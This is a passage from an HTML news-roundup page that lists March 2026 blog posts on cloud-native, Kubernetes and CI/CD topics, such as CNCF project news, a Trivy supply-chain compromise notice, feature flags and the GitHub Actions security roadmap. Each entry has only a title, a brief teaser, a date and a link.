<p><a href="https://aws.amazon.com/blogs/containers/session-policies-for-amazon-eks-pod-identity/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-canonical-welcomes-nvidias-donation-of-the-gpu-dra-driver-to-cncf" class="group relative scroll-mt-24">
        <a href="#h3-canonical-welcomes-nvidias-donation-of-the-gpu-dra-driver-to-cncf" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Canonical welcomes NVIDIA’s donation of the GPU DRA driver to CNCF
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-canonical-welcomes-nvidias-donation-of-the-gpu-dra-driver-to-cncf"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>At KubeCon Europe in Amsterdam, NVIDIA announced that it will donate the GPU Dynamic Resource Allocation (DRA) Driver to the Cloud Native Computing Foundation (CNCF). This marks an important milestone</p>
<p><strong>📅 Mar 24, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/canonical-nvidia-kubecon-2026"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-building-a-news-roundup-with-docker-agent-docker-model-runner-and-skill" class="group relative scroll-mt-24">
        <a href="#h3-building-a-news-roundup-with-docker-agent-docker-model-runner-and-skill" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building a News Roundup with Docker Agent, Docker Model Runner, and Skill
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-a-news-roundup-with-docker-agent-docker-model-runner-and-skill"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Hello, I’m Philippe, and I am a Principal Solutions Architect helping customers with their usage of Docker. I wanted a lightweight way to automate my IT news roundups without burning through AI credit</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/building-a-news-roundup-with-docker-agent-docker-model-runner-and-skill/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-weight-of-ai-models-why-infrastructure-always-arrives-slowly" class="group relative scroll-mt-24">
        <a href="#h3-the-weight-of-ai-models-why-infrastructure-always-arrives-slowly" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The weight of AI models: Why infrastructure always arrives slowly
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-weight-of-ai-models-why-infrastructure-always-arrives-slowly"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As AI adoption accelerates across industries, organizations face a critical bottleneck that is often overlooked until it becomes a serious obstacle: reliably managing and distributing large model weig</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/27/the-weight-of-ai-models-why-infrastructure-always-arrives-slowly/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-istio-project-announces-2026-steering-committee" class="group relative scroll-mt-24">
        <a href="#h3-istio-project-announces-2026-steering-committee" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Istio Project Announces 2026 Steering Committee
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-istio-project-announces-2026-steering-committee"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Istio Steering Committee oversees the administrative aspects of the project, including governance, branding, marketing, and working with the CNCF. Every year, we estimate the proportion of the hun</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Istio Blog</strong></p>
<p><a href="https://istio.io/latest/blog/2026/steering-election-results/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-higress-joins-cncf-delivering-an-enterprise-grade-ai-gateway-and-a-seamless-path-from-nginx-ingress" class="group relative scroll-mt-24">
        <a href="#h3-higress-joins-cncf-delivering-an-enterprise-grade-ai-gateway-and-a-seamless-path-from-nginx-ingress" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Higress Joins CNCF: Delivering an enterprise-grade AI gateway and a seamless path from Nginx Ingress
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-higress-joins-cncf-delivering-an-enterprise-grade-ai-gateway-and-a-seamless-path-from-nginx-ingress"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are thrilled to announce that Higress has officially passed the Technical Oversight Committee (TOC) vote to join the Cloud Native Computing Foundation (CNCF) as a Sandbox project, becoming a proud </p>
<p><strong>📅 Mar 25, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/25/higress-joins-cncf-delivering-an-enterprise-grade-ai-gateway-and-a-seamless-path-from-nginx-ingress/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-encrypt-build-time-secrets-for-the-function-builder" class="group relative scroll-mt-24">
        <a href="#h3-encrypt-build-time-secrets-for-the-function-builder" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Encrypt build-time secrets for the Function Builder
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-encrypt-build-time-secrets-for-the-function-builder"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how to pass private registry tokens, API keys, and certificates into the Function Builder - encrypted end-to-end. Introduction Build secrets are already supported for local builds and CI jobs us</p>
<p><strong>📅 Mar 24, 2026</strong> • <strong>📰 OpenFaaS Blog</strong></p>
<p><a href="https://www.openfaas.com/blog/encrypted-build-secrets/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-trivy-supply-chain-compromise-what-docker-hub-users-should-know" class="group relative scroll-mt-24">
        <a href="#h3-trivy-supply-chain-compromise-what-docker-hub-users-should-know" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Trivy supply chain compromise: What Docker Hub users should know
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-trivy-supply-chain-compromise-what-docker-hub-users-should-know"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We wanted to provide you information about a security incident that we became aware of that affects customers who use the Aqua Security Vulnerability scanner (Trivy) across multiple distribution chann</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/trivy-supply-chain-compromise-what-docker-hub-users-should-know/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-celebrating-10-years-of-cilium-whats-new-and-whats-next" class="group relative scroll-mt-24">
        <a href="#h3-celebrating-10-years-of-cilium-whats-new-and-whats-next" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Celebrating 10 Years of Cilium: What’s New and What’s Next
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-celebrating-10-years-of-cilium-whats-new-and-whats-next"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Author: Katie Meinders, Isovalent Cilium is officially 10 years old and has firmly established itself as the default CNI for production…</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 Cilium Blog</strong></p>
<p><a href="https://cilium.io/blog/2026/03/23/2026-03-23-ciliumcon-momentum"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-how-to-automate-runtime-control-with-kill-switches-progressive-rollouts-and-user-targeting" class="group relative scroll-mt-24">
        <a href="#h3-how-to-automate-runtime-control-with-kill-switches-progressive-rollouts-and-user-targeting" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to automate runtime control with kill switches, progressive rollouts, and user targeting
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-automate-runtime-control-with-kill-switches-progressive-rollouts-and-user-targeting"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>These strategies can help you design for control in production.</p>
<p><strong>📅 Mar 30, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/kill-switches-progressive-rollouts-user-targeting/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-protect-yourself-from-vibe-coding-errors" class="group relative scroll-mt-24">
        <a href="#h3-protect-yourself-from-vibe-coding-errors" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Protect yourself from vibe coding errors
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-protect-yourself-from-vibe-coding-errors"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Is AI-written code 100% trustworthy? Get control over vibe coding errors.</p>
<p><strong>📅 Mar 30, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/prevent-ai-coding-errors-in-production/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-delivering-adaptive-ai-with-launchdarkly-and-snowflake-cortex" class="group relative scroll-mt-24">
        <a href="#h3-delivering-adaptive-ai-with-launchdarkly-and-snowflake-cortex" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Delivering adaptive AI with LaunchDarkly and Snowflake Cortex
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-delivering-adaptive-ai-with-launchdarkly-and-snowflake-cortex"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>LaunchDarkly &amp; Snowflake enable AI delivery with real-time config and runtime safety.</p>
<p><strong>📅 Mar 30, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/adaptive-ai-launchdarkly-snowflake-cortex/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-design-prioritize-and-run-high-impact-experiments" class="group relative scroll-mt-24">
        <a href="#h3-how-to-design-prioritize-and-run-high-impact-experiments" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to design, prioritize, and run high-impact experiments
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-design-prioritize-and-run-high-impact-experiments"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Run fewer, higher-impact experiments with clear metrics and minimal noise.</p>
<p><strong>📅 Mar 30, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/high-impact-experiments/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-product-portfolio-management-for-ai-and-beyond" class="group relative scroll-mt-24">
        <a href="#h3-product-portfolio-management-for-ai-and-beyond" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Product Portfolio Management for AI and Beyond
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-product-portfolio-management-for-ai-and-beyond"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>New paradigms are a constant in technology. AI currently has lots of momentum, but how do you build a practice or portfolio around a new or emerging paradigm? Look to your DevOps Product Portfolio Man</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/product-portfolio-management-for-new-paradigms-ai-and-beyond"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-load-testing-an-essential-guide-for-2026" class="group relative scroll-mt-24">
        <a href="#h3-load-testing-an-essential-guide-for-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Load Testing: An Essential Guide for 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-load-testing-an-essential-guide-for-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI is transforming load testing in 2026 with intelligent workload modeling, predictive bottleneck detection, and automated realistic simulations. Discover this essential guide to modern load testing b</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/load-testing-an-essential-guide-for-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-coming-to-our-github-actions-2026-security-roadmap" class="group relative scroll-mt-24">
        <a href="#h3-whats-coming-to-our-github-actions-2026-security-roadmap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s coming to our GitHub Actions 2026 security roadmap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-coming-to-our-github-actions-2026-security-roadmap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A look at GitHub Actions’ 2026 roadmap, outlining how secure defaults, policy controls, and CI/CD observability harden the software supply chain end to end. The post What’s coming to our GitHub Action</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/product-news/whats-coming-to-our-github-actions-2026-security-roadmap/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-getting-started-with-gitlab-feature-flags-in-python" class="group relative scroll-mt-24">
        <a href="#h3-getting-started-with-gitlab-feature-flags-in-python" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Getting started with GitLab feature flags in Python
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-getting-started-with-gitlab-feature-flags-in-python"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>You&#39;ve spent weeks building a new feature. It passes every test, the code review is done, and it&#39;s ready to ship. So you deploy it and within an hour your inbox is full of bug reports. The feature wor</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/getting-started-with-gitlab-feature-flags-in-python/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-branch-scoped-sequence-ids-in-harness-ci" class="group relative scroll-mt-24">
        <a href="#h3-branch-scoped-sequence-ids-in-harness-ci" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Branch-Scoped Sequence IDs in Harness CI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-branch-scoped-sequence-ids-in-harness-ci"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most CI tools use a single global build counter across all branches, making it difficult to track what&#39;s actually deployed, debug issues, or manage releases effectively. In this post, we explore why t</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/build-numbers-that-actually-make-sense-branch-scoped-sequence-ids-in-harness-ci"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-deployment-in-2026-cicd-for-llms-agents" class="group relative scroll-mt-24">
        <a href="#h3-ai-deployment-in-2026-cicd-for-llms-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Deployment in 2026: CI/CD for LLMs & Agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-deployment-in-2026-cicd-for-llms-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI deployment in production in 2026: ship LLMs, RAG, and agents safely with CI/CD, semantic testing, guardrails, and progressive delivery. | Blog</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/ai-deployment-in-production-orchestrate-llms-rag-agents"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-updates-to-github-copilot-interaction-data-usage-policy" class="group relative scroll-mt-24">
        <a href="#h3-updates-to-github-copilot-interaction-data-usage-policy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Updates to GitHub Copilot interaction data usage policy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-updates-to-github-copilot-interaction-data-usage-policy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>From April 24 onward, interaction data—specifically inputs, outputs, code snippets, and associated context—from Copilot Free, Pro, and Pro+ users will be used to train and improve our AI models unless</p>
<p><strong>📅 Mar 25, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/updates-to-github-copilot-interaction-data-usage-policy/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-manage-vulnerability-noise-at-scale-with-auto-dismiss-policies" class="group relative scroll-mt-24">
        <a href="#h3-manage-vulnerability-noise-at-scale-with-auto-dismiss-policies" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
